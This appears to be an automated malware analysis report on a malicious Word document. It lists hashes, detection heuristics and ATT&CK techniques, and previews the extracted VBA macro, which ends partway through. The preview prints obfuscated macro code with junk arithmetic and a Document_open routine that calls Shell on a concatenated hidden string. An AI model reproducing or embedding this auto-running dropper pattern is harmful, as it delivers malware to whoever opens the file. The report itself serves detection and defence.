Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 3cf39366df19c514…

MALICIOUS

Office (OLE)

214.0 KB Created: 2018-07-18 20:09:00 Authoring application: Microsoft Office Word First seen: 2020-02-04
MD5: 070ffb755b29eb4dce75071298d9b64a SHA-1: 0eb4dfae22cceebec0caed7b30f01505176e8636 SHA-256: 3cf39366df19c5146acbbe4e66b6076d569e347344aea54a3cf2623673693422
222 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File

The file contains VBA macros, including a Document_Open macro that utilizes the Shell() function. This indicates the document is designed to execute arbitrary commands, likely to download and run a secondary malicious payload. The ClamAV detection name 'Doc.Malware.Powload-6781731-0' further supports its malicious nature.

Heuristics 6

  • ClamAV: Doc.Malware.Powload-6781731-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Powload-6781731-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 42171 bytes
SHA-256: 5aae576195aa9a35843c255b0860305eeda661e47f6e599186d30adb1a211485
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "haVWGRXkMDqiB"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Function BtiHbuFOj()
On Error Resume Next
   fOpmM = (UhFRHW / sfYwB) * (uzYqA - iELkB + LAVGw / QTkLfw / nPaldE - 27547)
   YHHlkj = (puRBB / wdqMwh) * (bJcsvw - iUMMj + MjlLoC / ZjMEBv / pdJcKb - 65936)
   tAwCR = (mGYwv / RLlmlj) * (FiaXw - Qzffw + HElLpP / nOTbqX / qzTOEW - 19906)
   shizhR = (cVQaRQ / AmolLP) * (rifiif - DZUnA + pOBES / hOTjc / iAqHt - 25936)
   CdCuM = (wmuVh / XImlw) * (wQwvsS - pUCVs + zHtSZ / PwVGWC / TnHzpJ - 16617)
   RRGYp = (dkIwD / wVslj) * (jhiiR - GMzHT + fnivjE / XJqpAD / vbrthz - 89189)
   jScAzA = (HacPo / jzwWmw) * (lHkAK - QjQba + NbEtM / zmKMA / HzITT - 35704)
End Function
Private Function iQFnIRD()
On Error Resume Next
   YzfwG = (ZjLwA / cCrmjh) * (cfrdVQ - EqPGwC + FqiwY / vjSTw / cpZHEJ - 57357)
   uOmJF = (wDRTP / ssiiW) * (KdNhp - wISLb + bdXKI / wispN / cwrsL - 30006)
   zCkQU = (MMJOu / WAhmaC) * (DQDXco - GzcUHs + TFUcd / ziizz / CpKJf - 6651)
   dHncv = (dBGHh / SHCDwU) * (BzLKlr - lRouwT + flCWMu / JvvGOO / LKqRdL - 78389)
   zIRtj = (aPjHWv / PLUSo) * (bHNwMa - cJvTAi + UlozI / WuSHz / IbAuT - 80342)
   qjUJi = (IjREA / TWMNnK) * (ovNYhh - FiiKzS + AOKJp / rnwBOv / ITNuQw - 98284)
End Function
Private Function osZhcqnjY()
On Error Resume Next
   ffcFR = 96867 * TsXsEL / 47266 - AjkazC * pPXTuq + LZtLl + ZTXmC - mLhwR / ozBLL - NLBpNi - Duzjww + aFFjLw
   baHqwC = 97792 * wvjMAG / 73373 - uXMajz * FFswt + bLWjz + pbjJj - GtDHUY / VKXzw - wcEBl - DFqWj + dCuwR
   QSHQFv = 12470 * UANCza / 32869 - GoozFp * jzYzit + zNTPu + hwcCzD - jlwvAo / aXJYs - nYRhwX - zAzihf + BJMmCC
   BubGbF = (HnJuYH / sKDzM) * (tqHYjf - kYLCm + AMNXC / NiawDu / RLkjj - 73786)
   GKmDXw = 88680 * jbHHCG / 19077 - mBFwPS * DdPNAz + cQaduB + UivTjq - wmRLB / thjNd - PiZHjt - rwqhY + IDRWK
End Function
Private Function cRTroRIruU()
On Error Resume Next
   SjBun = 3537 / BMpYw / oLdEsq - ELQpz / jHAHR / OBmWwS + OHXHqo - kFBOsi / wFGPL * 93935 - VwAEY / hzCpfl
   tMsjS = 71583 / wWsnb / OsUGm - cEjkcY / QdlhJt / dRVGk + jwDmwa - sEoMk / ECzMc * 30862 - YUjNo / uNszWN
   IMfQu = (firqnK / PBjYv) * (VvNia - cduQO + UlmBoc / BFtPK / YWQIa - 71524)
   XmaSD = 80836 / RRsGBS / TOKjmi - aVUQv / lVCZa / biQjG + ZqVIjK - ZHzth / izUwR * 12587 - IpOwO / jhrzD
   SjDaAF = 56766 / GlOmbR / fHnVPs - XCROK / CMjHbu / YCpKrw + pPqlwP - XhrQn / HJBImv * 82512 - uCHLh / XcRciT
End Function
Private Function cZvdFwRHk()
On Error Resume Next
   IlLoU = (EtDOL / oaNHwE) * (Yozwj - fcErtM + GCkfC / YbDtH / LAYGBO - 17887)
   jSBMP = (HChiJ / TiVGz) * (jbHzHN - ITOzTS + MtROKs / HmKzXf / jOWFG - 15066)
   XYRNXc = (pSLDME / AZpwL) * (FUuBH - UilwpD + niRsO / bRiYrl / PBtCUh - 81340)
   iaVbD = (hIvYY / jRFPpd) * (wpQDs - NGVFjT + pKcGE / YrCoI / YubJj - 2737)
   ETYkNN = (Ctzcj / SCuMV) * (iKCGI - GKWXk + JBhLEw / uNhCpO / tsLDE - 10027)
   zVLnbG = (izBJBA / mphEa) * (mVvqMY - HWDdkL + GjZsb / jzEsz / KblRUJ - 66945)
End Function
Private Sub Document_open()
On Error Resume Next
   joZfVu = dEHvB / MZCoS + 51642 / KLaSQ * 79669 - 14106
   ZuljZ = pjAnRX / dKRHz + 7847 / PdJPCj * 39188 - 25468
   GzddV = Kkpcc / FlnWV + 95340 / OvVqC * 35094 - 96339
   lwFHq = ldjbnl / RIwCX + 60845 / akTtTp * 57007 - 72466
   GPaUb = TiRtLD / VTEuI + 90339 / nIaGzA * 56957 - 23884
Shell "" + naVfNJRwikW + JwHiQBIqDos + CVar("c") + VjtNcZlHdzjw + pAZDtpfG + cAIsjJd + HIdqaBEj + iDJIhCPBVI + PAiSPDD + wWGJbOnMqG + jCLvFXPpuhq + jCwHLZQb + lAzYQozCcDz + SwDJJGudO + fcIjK + TljHi + bmnpK + GMmUnpOKb + aBHqRnLZlz + KSSTPCoSafjmZF, 0
   RTFBQc = ZwIVSS / whkUhJ + 22112 / AnLMr * 37857 - 34157
   bKXjq = ObVho / czjziV + 70094 / YiCvz * 3194 - 92741
   URMCC = acLDzD / wiNqqd + 91019 / IEUiks * 16355 - 53320
End Sub
Private Function bOjklzR()
On Error Resume Next
   WHUmzM = LFsUca / tuMNqT + 48794 / b
... (truncated)